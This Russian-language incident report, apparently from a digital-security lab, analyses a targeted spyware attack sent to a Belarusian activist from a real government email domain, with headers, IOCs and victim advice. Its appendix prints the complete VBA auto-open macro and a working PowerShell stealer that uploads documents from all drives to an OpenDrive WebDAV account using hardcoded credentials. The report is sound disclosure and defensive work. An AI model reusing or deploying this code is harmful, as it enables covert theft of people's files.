Как с официальной почты государственного органа Беларуси целенаправленно атаковали активиста шпионским ПО для кражи документов
Летом 2026 года мы получили на анализ два письма, отправленных с настоящих, не поддельных почтовых серверов государственного органа Беларуси — Главного управления Минского областного исполнительного комитета (домен minsk-region.gov.by). Оба письма с разницей в почти две недели и под разными предлогами были адресованы одному и тому же человеку: беларусскому активисту с профилем высокого риска. Оба содержали вложение — файл Excel с макросом, который после включения макросов незаметно устанавливал на компьютер жертвы программу-шпион для кражи документов. Учитывая, кто был получателем, наиболее вероятной нам представляется версия не случайного взлома чьей-то рассылки, а целенаправленной атаки на конкретного человека с использованием доверия к официальному государственному каналу. Ниже подробный технический разбор обоих писем, вредоносного вложения и его полезной нагрузки, а также рекомендации активистам и правозащитникам, которые могли получить похожие письма.
Имя, адрес почты и другие данные, позволяющие идентифицировать получателя, в этом материале не публикуются и скрыты на скриншотах в интересах безопасности. Мы приводим только те сведения, которые необходимы для технического понимания инцидента.
Коротко о главном
- Письма подлинные, домен не подделан. Оба письма отправлены с реальных серверов домена minsk-region.gov.by. Проверки подлинности почты (SPF, а на момент отправки и DKIM) пройдены. Это не типичный фишинг с похожим доменом-«двойником».
- В письме вредоносное вложение. К письму вложен Excel-файл с макросом (.xlsm), который при включении макросов запускает скрытый PowerShell-скрипт, ворующий документы с компьютера жертвы.
- Вероятная причина — целевая атака. Оба письма отправлены с официального домена беларусских властей: структур, которые системно преследуют активистов и правозащитников. Оба адресованы одному и тому же человеку: активисту с профилем высокого риска. Мы полагаем более вероятной версию целенаправленной атаки на конкретного человека, чем версию массовой рассылки через взломанный почтовый сервер. Это опаснее рядового фишинга, так как письмо проходит стандартные технические проверки, отправлено с настоящего государственного домена и не выглядит подделкой ни для почтовых сервисов, ни для получателя.
- Защита сработала лишь частично. Собственный антиспам-шлюз организации (Kaspersky Secure Mail Gateway) обнаружил макрос в документе и пометил тему письма предупреждением «[в письме обнаружен макрос]», но не заблокировал доставку.
- Один файл в обоих письмах. Вложения из двух писем побайтово идентичны. Один и тот же файл распространялся под разными именами и легендами («Список.xlsm» и « Аналитика за полугодие.xlsm»).
- Макрос не для шифрования, это программа-шпион. Программа не повреждает и не шифрует данные. Она каждые 5 минут обходит все диски компьютера (локальные, съёмные, сетевые), ищет офисные документы и PDF и незаметно копирует их на внешнее облачное хранилище, принадлежащее злоумышленникам.
Хронология
Оба письма пришли с интервалом чуть больше двух недель, с разными формальными предлогами, но с одинаковым вредоносным вложением.
| 13 июля 2026 | Письмо «Изменение порядка подачи обращений». Тема: запуск новой «Системы обращений 2.0». Вложение: Список.xlsm. |
| 30 июля 2026 | Письмо «Свод за первое полугодие 2026». К получателю обратились по имени и отчеству. Вложение: Аналитика за полугодие.xlsm. |
Время по заголовкам писем (сервер отправителя, часовой пояс +03:00): 13 июля — 16:39:02, 30 июля — 12:55:48. В почтовом клиенте получателя (иной часовой пояс) письма отображаются как полученные на час раньше — в 15:39 и 11:55 соответственно; это не расхождение в датах, а особенность отображения времени в интерфейсе почты.
Как выглядели письма

Письмо от 13 июля 2026 г. «Изменение порядка подачи обращений». Поле «Кому» скрыто. Тема начинается с предупреждения «[в письме обнаружен макрос]», добавленного антиспам-шлюзом.

Письмо от 30 июля 2026 г. «Свод за первое полугодие 2026». Отправитель просит явно включить макросы «для корректного отображения» — стандартный приём социальной инженерии.
Технический разбор писем
Заголовки обоих писем показывают, что они действительно были отправлены и подписаны инфраструктурой домена minsk-region.gov.by, а не подделаны сторонним отправителем.
Письмо 1 — «Изменение порядка подачи обращений»
| From | [email protected] |
| To | [скрыто] |
| Subject | [в письме обнаружен макрос]Изменение порядка подачи обращений |
| Date | Mon, 13 Jul 2026 16:39:02 +0300 |
| Return-Path | [email protected] |
| Отправляющий IP | 195.50.20.206 (mg.g-cloud.by) |
| SPF | pass |
| DMARC | pass (p=REJECT) |
| DKIM (проверка Google) | fail |
| DKIM (внутренний шлюз KSMG, до модификации Subject) | pass |
Письмо 2 — «Свод за первое полугодие 2026»
| From | [email protected] |
| To | [имя скрыто] <[адрес скрыт]> |
| Subject | [в письме обнаружен макрос]Свод за первое полугодие 2026 |
| Date | Thu, 30 Jul 2026 12:55:48 +0300 |
| Персонализация | получатель назван по имени и отчеству в теле письма |
| SPF / DKIM / DMARC | аналогично письму 1 |
Почему DKIM «не сходится» в почтовом клиенте, но письмо не поддельное
В интерфейсе Gmail проверка DKIM для обоих писем показывает fail, но это не признак подделки. Оба письма прошли через собственный антиспам-шлюз организации-отправителя Kaspersky Secure Mail Gateway (KSMG). Этот шлюз подтвердил подлинность подписи DKIM при первичной проверке (письмо действительно подписано сервером отправителя), но затем сам же изменил тему письма, добавив в неё предупреждение «[в письме обнаружен макрос]», уже после того, как письмо было подписано. Изменение темы после подписи ломает DKIM-подпись при проверке на стороне получателя (Google). Это техническая деталь работы защитного шлюза, но не признак стороннего вмешательства в письмо.
Инфраструктура отправки
IP-адрес 195.50.20.206 принадлежит сети 195.50.20.0/24, зарегистрированной за BeCloud («Белорусские облачные технологии») — государственным облачным провайдером Беларуси. Это ожидаемая, легитимная инфраструктура для государственного домена minsk-region.gov.by.
Реакция собственной защиты организации-отправителя
Антиспам-шлюз Kaspersky Secure Mail Gateway (KSMG) на стороне отправителя корректно определил, что во вложении есть активный макрос, и промаркировал оба письма соответствующими заголовками:
X-KSMG-AntiSpam-Info: ... {Tracking_macro_enabled_document} ...
X-KSMG-Message-Action: skipped
X-KSMG-AntiVirus-Status: NotDetected, skipped
То есть шлюз обнаружил сам факт наличия макроса в документе и добавил предупреждение в тему письма, но не заблокировал и не задержал доставку, оба письма беспрепятственно дошли до адресата.
Вредоносное вложение: один файл, два имени
Вложения из обоих писем — это побайтово один и тот же файл, отправленный под разными именами и разными легендами.
| SHA-256 | 31f906d567ca33ee03771902e169b4065dbe216acdbbd39812d8948e4f5ecc1a |
| Размер | 24 957 байт |
| Тип | Excel с поддержкой макросов (.xlsm) |
| Имена в письмах | Список.xlsm / Аналитика за полугодие.xlsm |
Как устроен вредоносный макрос (VBA)
Полезная нагрузка запускается автоматически при открытии файла событием Workbook_Open, без каких-либо дополнительных кликов пользователя (кроме включения макросов, о котором прямо просит текст письма). Код в модуле ЭтаКнига.cls:
Private Sub Workbook_Open()
Dim shell As Object
Dim part1 As String, part2 As String
Dim cmd As String
part1 = ThisWorkbook.Sheets("Лист1").Range("A350").Value
part2 = ThisWorkbook.Sheets("Лист1").Range("B350").Value
cmd = part1 & " " & part2
Set shell = CreateObject("WScript.Shell")
shell.Run cmd, 0, False
End Sub
«Лист1» — скрытый лист книги, невидимый при обычном открытии файла в Excel. В ячейках A350 и B350 этого листа хранится сама вредоносная команда:
| A350 | powershell.exe -EncodedCommand |
| B350 | <строка в Base64, UTF-16LE — закодированный PowerShell-скрипт, см. ниже> |
Такой приём — вынесение исполняемой команды не в текст самого макроса, а в ячейки скрытого листа таблицы — используется специально для того, чтобы антивирусные сканеры, ищущие подозрительные строки непосредственно в коде VBA, не обнаружили полезную нагрузку при статическом анализе.
Что делает PowerShell-скрипт: кража документов
После декодирования Base64-строки получается полноценный скрипт кражи документов. Он устроен так:
- При запуске задаёт учётные данные (логин и пароль) для доступа по протоколу WebDAV к внешнему облачному хранилищу OpenDrive и создаёт папку для собственных логов в Документы\OpenDriveBackupLogs.
- Запускает бесконечный цикл: каждые 5 минут (300 секунд) он опрашивает все диски компьютера — локальные, съёмные (флешки) и подключённые сетевые.
- На каждом диске рекурсивно ищет файлы с расширениями .doc, .docx, .xls, .xlsx, .pdf, .rtf, пропуская системную папку Windows и собственную папку логов.
- Каждый найденный файл, ещё не отправленный ранее (или изменившийся с момента последней отправки), выгружается по протоколу WebDAV на сервер webdav.opendrive.com, в папку «Backup», под именем вида «<буква_диска>_<имя_файла>».
- Ведёт учёт отправленного, чтобы не пересылать одни и те же файлы повторно, список сохраняется в JSON-манифесте (sent_files.json) и текстовом логе (sent_files.log) в той же служебной папке.
Итог: это не деструктивная программа и не шифровальщик, а классический документ-стилер (document stealer / infostealer), нацеленный именно на кражу офисных файлов и PDF со всех носителей заражённого компьютера, работающий тихо и непрерывно в фоне.
Полный код декодированного скрипта приведён в техническом приложении в конце материала.
Оценка: почему это похоже на целевую атаку на активиста
Технические признаки подлинности писем сами по себе не говорят о том, кто их отправил и зачем. Но в сочетании с тем, кем является получатель, они складываются в определённую картину. Ниже факторы, которые мы учитывали.
- Получатель не случайный человек. Оба письма адресованы одному и тому же активисту с профилем высокого риска. Это не похоже на рассылку «по базе», учитывая минимум две последовательные попытки достучаться именно до этого человека с разницей в две недели.
- Канал доставки не поддельный, а настоящий, государственный. Проверка SPF пройдена, антиспам-шлюз организации-отправителя подтвердил подлинность DKIM-подписи при получении письма. Это значит оно действительно подписано сервером minsk-region.gov.by и прошло через государственную облачную инфраструктуру BeCloud (g-cloud.by). Рядовые киберпреступники в массовых кампаниях обычно вынуждены имитировать домен «похожим» адресом именно потому, что у них нет доступа к настоящей инфраструктуре ведомства; здесь такой имитации нет, использован реальный канал.
- Персонализация под конкретного человека. Во втором письме получатель назван по имени и отчеству, а первое письмо построено вокруг темы «системы обращений граждан». То есть у отправителя были реальные персональные данные адресата, которые логично связать с тем, что человек ранее взаимодействовал с государственными органами Беларуси (например, подавал обращение или был объектом внимания как активист).
- Профиль получателя соответствует известному паттерну. Использование официальных, легитимных, с технической точки зрения, каналов беларусских государственных органов, против конкретных активистов и правозащитников — задокументированный правозащитными и техническими организациями паттерн цифрового преследования в Беларуси.
- Оговорка: инструмент несложный. Сама вредоносная программа технически проста, это не изощрённый заказной шпионский софт, а достаточно типовой документ-стилер. Это само по себе не исключает целевого характера атаки: недорогие, не всегда изощрённые инструменты нередко используются именно в точечных операциях против конкретных людей, в том числе потому, что это дешевле и не требует раскрытия более ценных возможностей.
С учётом всего этого наиболее вероятной нам представляется версия целенаправленной атаки на конкретного человека с использованием доверия к настоящему государственному каналу, а не версия массовой рассылки, ставшей следствием случайного стороннего взлома почты ведомства. Это существенно опаснее типового фишинга с доменом-«двойником»: письмо проходит все стандартные технические проверки подлинности, отправлено с настоящего государственного домена и не выглядит подделкой ни для почтовых сервисов, ни для самого получателя, поскольку у него нет обычных поводов насторожиться.
Мы не можем со стороны, по двум полученным письмам, установить, кто именно инициировал рассылку (конкретное подразделение внутри ведомства, лицо с доступом к его почтовой системе или иной актор, действующий через эту инфраструктуру). Мы также не исключаем полностью и версию компрометации инфраструктуры третьей стороной, но с учётом профиля получателя считаем её менее вероятной, чем версию целевой атаки.
Индикаторы компрометации (IOC)
| SHA-256 вложения | 31f906d567ca33ee03771902e169b4065dbe216acdbbd39812d8948e4f5ecc1a |
| Имена файла | Список.xlsm / Аналитика за полугодие.xlsm |
| Размер файла | 24 957 байт |
| Отправляющий IP | 195.50.20.206 (mg.g-cloud.by, сеть 195.50.20.0/24, BeCloud, BY) |
| Домен эксфильтрации | webdav.opendrive.com (папка «Backup») |
| Логин, используемый вредоносной программой | [email protected] (пароль не публикуется; приведён в полном коде скрипта — только для анализа в контролируемой среде) |
| Локальные артефакты заражения | %USERPROFILE%\Documents\OpenDriveBackupLogs\sent_files.log %USERPROFILE%\Documents\OpenDriveBackupLogs\sent_files.json |
| Поведенческий индикатор | процесс powershell.exe с параметром -EncodedCommand, запущенный процессом EXCEL.EXE через WScript.Shell в скрытом окне (WindowStyle = 0) |
Рекомендации
Эти рекомендации в первую очередь адресованы беларусским активист_кам, правозащитни_цам и представитель_ницам НКО
Если письмо и вложение ещё не открывали
- Не открывайте вложение и не включайте макросы. Перешлите специалистам по цифровой безопасности, например нам, в DFLab.
- Учитывайте, что аналогичное письмо в будущем может быть отправлено с любого другого официального на вид беларусского государственного адреса — техническая «подлинность» отправителя сама по себе не гарантия безопасности вложения, если вы находитесь в группе риска.
- Если сомневаетесь в происхождении письма — проверяйте его по независимому, заведомо безопасному каналу связи, а не по контактам, указанным в самом письме.
Если файл уже открывали и включали макросы
- Считайте устройство заражённым и немедленно отключите его от интернета и локальной сети.
- Учитывайте, что помимо кражи документов, устройство человека из группы риска могло представлять для атакующих интерес и как источник иных сведений (контакты, переписка, рабочие материалы). По возможности исходите из наихудшего сценария, а не только из факта утечки офисных файлов.
- Проверьте устройство антивирусом, желательно ещё и отдельным, вторым сканером в дополнение к основному. При возможности рассмотрите полную переустановку системы, а не только лечение.
- Проверьте наличие папки Документы\OpenDriveBackupLogs — её создаёт вредоносный скрипт для собственных служебных записей. Её присутствие подтверждает заражение.
- Смените пароли ко всем важным учётным записям — обязательно с другого, заведомо не заражённого устройства.
- Если ваша работа связана с уязвимыми людьми или чувствительными материалами — сообщите доверенным коллегам о возможной компрометации устройства.
В любом случае
- Учитывая вероятный целевой характер атаки, мы не рекомендуем сообщать об инциденте в саму организацию-отправителя (minsk-region.gov.by).
- Обратитесь за поддержкой к специалистам по цифровой безопасности, работающим с активистами и правозащитниками — например, в Digital Security Helpline при Access Now (бесплатная и конфиденциальная помощь 24/7) — или к Digital Freedoms Lab через сайт dflab.me.
Если вы или кто-то из вашего окружения получали похожие письма с вложениями .xlsm или .docm от имени государственных органов Беларуси, и хотите поделиться образцом для анализа (в том числе анонимно) — свяжитесь с Digital Freedoms Lab через почту [email protected]. Это поможет установить, является ли случай единичным или частью более широкой кампании против активистского сообщества.
Материал подготовлен командой Digital Freedoms Lab (dflab.me) на основе двух писем в формате .eml и приложенных к ним вредоносных файлов .xlsm, полученных для анализа. Анализ включал изучение заголовков писем (SPF/DKIM/DMARC, маршрутизация, служебные заголовки антиспам-шлюза отправителя), статический разбор VBA-макроса и декодирование встроенного PowerShell-скрипта. Имя и адрес получателя в этом материале не раскрываются.
Digital Freedoms Lab — команда, которая занимается цифровой безопасностью, защитой от слежки и цифровыми правами и в первую очередь работает с НКО, журналистами, правозащитниками и активистскими сообществами.
Техническое приложение: полный код
Раздел для специалистов по информационной безопасности — полный код вредоносного макроса и декодированного PowerShell-скрипта.
VBA-макрос (модуль ЭтаКнига.cls)
Private Sub Workbook_Open()
Dim shell As Object
Dim part1 As String, part2 As String
Dim cmd As String
part1 = ThisWorkbook.Sheets("Лист1").Range("A350").Value
part2 = ThisWorkbook.Sheets("Лист1").Range("B350").Value
cmd = part1 & " " & part2
Set shell = CreateObject("WScript.Shell")
shell.Run cmd, 0, False
End Sub
Декодированный PowerShell-скрипт (полностью)
$webdavUrl = "https://webdav.opendrive.com"
$remoteRootFolder = "Backup"
$extensions = @("*.doc", "*.docx", "*.pdf", "*.xls", "*.xlsx", "*.rtf")
$logFolder = Join-Path $env:USERPROFILE "Documents\OpenDriveBackupLogs"
$logFilePath = Join-Path $logFolder "sent_files.log"
$manifestPath = Join-Path $logFolder "sent_files.json"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
if (!(Test-Path $logFolder)) { New-Item -ItemType Directory -Path $logFolder | Out-Null }
$sent = @{}
if (Test-Path $manifestPath) {
try {
$jsonObj = Get-Content $manifestPath -Raw | ConvertFrom-Json
$jsonObj.PSObject.Properties | ForEach-Object { $sent[$_.Name] = $_.Value }
} catch { $sent = @{} }
}
$username = "[email protected]"
$password = "Pinocchio_12!"
$pair = '{0}:{1}' -f $username, $password
$basic = [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes($pair))
$authHeader = "Basic $basic"
while ($true) {
$manifestChanged = $false
$allDrives = Get-CimInstance -ClassName Win32_LogicalDisk | Where-Object {
$_.DriveType -in @(3, 2, 4) -and (Test-Path ($_.DeviceID + "\"))
}
foreach ($drive in $allDrives) {
$sourceRoot = $drive.DeviceID + "\"
$drivePrefix = $drive.DeviceID.Replace(":", "")
$files = Get-ChildItem -Path $sourceRoot -Recurse -File -Include $extensions -ErrorAction SilentlyContinue
foreach ($file in $files) {
if ($file.FullName -like "*:\Windows\*" -or $file.FullName -like "*\OpenDriveBackupLogs\*") { continue }
if ($sent.ContainsKey($file.FullName) -and $sent[$file.FullName] -eq $file.LastWriteTimeUtc.ToString('o')) { continue }
$remoteFileName = $drivePrefix + "_" + $file.Name
$fullRemotePath = $remoteRootFolder + '/' + $remoteFileName
$encodedParts = $fullRemotePath -split '/' | ForEach-Object { [Uri]::EscapeDataString($_) }
$remoteUrl = $webdavUrl.TrimEnd('/') + '/' + ($encodedParts -join '/')
try {
$headers = @{ Authorization = $authHeader }
Invoke-WebRequest -Uri $remoteUrl -Method Put -InFile $file.FullName `
-Headers $headers -ContentType "application/octet-stream" -TimeoutSec 1900 | Out-Null
$sent[$file.FullName] = $file.LastWriteTimeUtc.ToString('o')
$manifestChanged = $true
Add-Content -Path $logFilePath -Value ("[{0}] Ok: {1} -> {2}" -f (Get-Date -Format "yyyy-MM-dd HH:mm:ss"), $file.FullName, $remoteFileName)
} catch {
Add-Content -Path $logFilePath -Value ("[{0}] Error: {1} :: {2}" -f (Get-Date -Format "yyyy-MM-dd HH:mm:ss"), $file.FullName, $_.Exception.Message)
}
}
}
if ($manifestChanged) {
$sent | ConvertTo-Json -Depth 3 | Set-Content -Path $manifestPath -Encoding UTF8
}
Start-Sleep -Seconds 300
}
Учётные данные ([email protected] / Pinocchio_12!) захардкожены злоумышленниками в коде и приведены здесь исключительно как индикатор компрометации для распознавания в сетевом трафике и передачи оператору сервиса OpenDrive для блокировки аккаунта, использовать их для доступа к чужим данным недопустимо.